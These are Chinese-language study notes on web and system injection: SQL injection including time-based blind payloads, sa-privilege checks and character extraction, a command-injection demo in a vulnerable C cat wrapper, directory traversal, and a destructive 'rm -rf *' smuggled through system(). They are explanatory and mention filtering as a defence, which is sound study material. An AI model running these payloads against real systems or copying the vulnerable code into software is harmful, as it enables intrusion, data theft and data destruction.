Injection
Sql injection

SELECT
$query = "SELECT * FROM users WHERE username = ".$_GET["usr"];

控制输入参usr，修改所要执行SQL语句，达到攻击的目的。

```
mysql_connect(servername,username,password);
```

方法：
推理,**and和or, 特殊符号 （+/-，有时候需要编码）**+号在SQL语句是有特效含义的，所以我们要对其进行url编码，最后也就是%2b

```
select * from users where id = 1
```

盲注：通过测试系统的反应时间和语句的特性来判断database状态， sleep /benchmark

```
mysql> select * from bsqli where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)

mysql> select * from bsqli where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)
```

判断注入是否可行

```
RESULTING QUERY (WITH MALICIOUS SLEEP INJECTED).
SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
```

判断sa

```
RESULTING QUERY (VERIFY IF USER IS SA).
SELECT * FROM products WHERE id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'
```

判断id=1的ascii值=97？

```
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
```

拿Benchmark做ddos攻击

代码注入 （命令注入）Command injection
一些网站/服务器会开通一些接口 比如ping等系统命令

Example： 用cat 命令查阅一个文件的内容

```
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
 char cat[] = "cat ";
 char *command;
 size_t commandLength;

 commandLength = strlen(cat) + strlen(argv[1]) + 1;
 command = (char *) malloc(commandLength);
 strncpy(command, cat, commandLength);
 strncat(command, argv[1], (commandLength - strlen(cat)) );

 system(command);
 return (0);
}
```

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

```
$ ./catWrapper "Story.txt; ls"
When last we left our heroes...
Story.txt               doubFree.c              nullpointer.c
unstosig.c              www*                    a.out*
format.c                strlen.c                useFree*
catWrapper*             misnull.c               strlength.c
useFree.c
```

```
commandinjection.c      nodefault.c             trunc.c
writeWhatWhere.c
```

不要直接call system等关键字

目录遍历 Directory traversal
修改输入路径
./
../
过滤 ../

http://bdtg.37.com/s/1/3135/103489.html?uid=3241982

a="a.txt;rm -rf *",system("rm -rf {$a}")

注入基本都是发生在参数传递的时候，服务器端设计的时候需要对敏感的词进行过滤

非常简单但是非常容易被忽视，我在国内很多教育网网站上发现过这个问题（通过injection获取文档并修改） 在amazon中国的也发现了 （修改商品信息）

http://www.dvwa.co.uk/index.php
*很多注入漏洞都是针对windows， .NET的